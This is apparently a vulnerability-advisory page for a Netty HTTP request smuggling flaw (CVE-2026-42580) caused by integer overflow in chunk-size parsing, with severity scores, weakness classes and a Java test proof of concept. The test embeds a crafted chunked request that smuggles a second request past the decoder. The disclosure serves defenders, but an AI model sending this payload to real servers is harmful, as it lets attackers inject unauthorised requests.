Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-m4cv-j2px-7723
Advisory ID github_osv/GHSA-m4cv-j2px-7723
Aliases CVE-2026-42580
Summary Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing ### Summary Netty's chunk size parser silently overflows int, enabling request smuggling attacks. ### Details io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int. The size is accumulated as follows: result *= 16; result += digit; The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "100000004\r\n" + "test\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); HttpContent content = channel.readInbound(); assertTrue(content.decoderResult().isSuccess()); assertEquals("test", content.content().toString(CharsetUtil.US_ASCII)); content.release(); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Status Published
Exploitability 0.5
Weighted Severity 5.9
Risk 3.0
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (2)
CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
CWE-190 Integer Overflow or Wraparound
System Score Found at
cvssv3.1 6.5 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m4cv-j2px-7723/GHSA-m4cv-j2px-7723.json
generic_textual MODERATE
Reference id Reference type URL
https://github.com/netty/netty
CVE-2026-42580 https://nvd.nist.gov/vuln/detail/CVE-2026-42580
GHSA-m4cv-j2px-7723 Other https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m4cv-j2px-7723/GHSA-m4cv-j2px-7723.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

There are no SSVC decisions available.